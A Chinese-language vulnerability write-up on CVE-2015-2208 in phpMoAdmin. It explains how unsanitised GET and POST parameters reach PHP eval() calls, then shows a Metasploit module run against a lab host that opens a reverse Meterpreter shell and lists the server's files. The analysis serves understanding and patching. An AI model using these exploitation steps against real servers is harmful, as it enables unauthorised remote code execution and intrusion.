phpMoadmin CVE-2015-2208 远程代码执行漏洞分析

05 Mar 2015 - Tr3jer_CongRong

      phpMoAdmin 是一个用PHP 开发的在线MongoDB 管理工具,可用于创建、删除和修改数据库和索引,提供视图和数据搜索工具,提供数据库启动时间和内存的统计,支持JSON 格式数据的导入导出。

/phpmoadmin/moadmin.php 第555行

public function listRows($collection) {
    foreach ($this->sort as $key => $val) { //cast vals to int
        $sort[$key] = (int) $val;
}
$col = $this->mongo->selectCollection($collection);
$find = array();
if (isset($_GET['find']) && $_GET['find']) {
	$_GET['find'] = trim($_GET['find']);
	if (strpos($_GET['find'], 'array') === 0) {
		eval('$find = ' . $_GET['find'] . ';');
	} else if (is_string($_GET['find'])) {
		if ($findArr = json_decode($_GET['find'], true)) {
			$find = $findArr;
		}
	}
}

      在这个listRows方法中,eval执行GET接收的find参数,首先$find变量初始化为数组,而且通过strpos判断传入的值是否为数组。看看哪里调用了这个方法。

/phpmoadmin/moadmin.php 第836行

if (isset($_GET['collection']) && $action != 'listCollections' && method_exists(self::$model, $action)) {
    $this->mongo[$action] = self::$model->$action($_GET['collection']);
    $this->mongo['count'] = self::$model->count;
    $this->mongo['colKeys'] = self::$model->colKeys;
}

      首先需要设置collection,根据$action跟踪到第785行,这里就可以通过action接收listRows参数来调用listRows方法。

$action = (isset($_GET['action']) ? $_GET['action'] : 'listCollections');

      整体触发漏洞的逻辑就是首先通过action接收listRows,调用这个方法后,eval就会执行$find传入的值。由于过滤不严,即可执行传入的任意恶意代码。

/phpmoadmin/moadmin.php 第693行

public function saveObject($collection, $obj) {
    eval('$obj=' . $obj . ';'); //cast from string to array
    return $this->mongo->selectCollection($collection)->save($obj);
}

      saveObject函数中eval执行了形参$obj,找找哪里调用了这个函数。

/phpmoadmin/moadmin.php 第786行

if (isset($_POST['object'])) {
        if (self::$model->saveObject($_GET['collection'], $_POST['object'])) {
            return $this->_dumpFormVals();
        } else {
            $action = 'editObject';
            $_POST['errors']['object'] = 'Error: object could not be saved - check your array syntax.';
        }
}

      开头检查POST是否传输了object,随后内包含的if进行判断,这个过程即调用了当前类的saveObject方法,POST传入object参数的值带入eval后就造成了代码执行。

Msf也已经更新了此漏洞的Exploit:

msf > use exploit/multi/http/phpmoadmin_exec
msf exploit(phpmoadmin_exec) > show options

Module options (exploit/multi/http/phpmoadmin_exec):
Name       Current Setting  Required  Description
----       ---------------  --------  -----------
Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
RHOST                       yes       The target address
RPORT      80               yes       The target port
SSL        false            no        Negotiate SSL/TLS for outgoing connections
TARGETURI  /                yes       The URI path of the PHPMoAdmin page
VHOST                       no        HTTP server virtual host

Exploit target:

Id  Name
--  ----
0   PHPMoAdmin

msf exploit(phpmoadmin_exec) > set RHOST 172.16.20.136
RHOST => 172.16.20.136
msf exploit(phpmoadmin_exec) > set TARGETURI /phpmoadmin
TARGETURI => /phpmoadmin
msf exploit(phpmoadmin_exec) > exploit

[*] Started reverse TCP handler on 172.16.20.1:4444
[*] Executing payload...
[*] Sending stage (33684 bytes) to 172.16.20.136
[*] Meterpreter session 1 opened (172.16.20.1:4444 -> 172.16.20.136:33492) at 2015-03-05 22:34:56 +0800

meterpreter > ls
Listing: /php/www/phpmoadmin
=================================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
100644/rw-r--r--  31713   fil   2015-03-05 21:42:58 +0800  LICENSE
100644/rw-r--r--  5078    fil   2015-03-05 21:42:58 +0800  README.textile
100644/rw-r--r--  1858    fil   2015-03-05 21:42:58 +0800  change.log
100644/rw-r--r--  111430  fil   2015-03-05 21:42:58 +0800  moadmin.php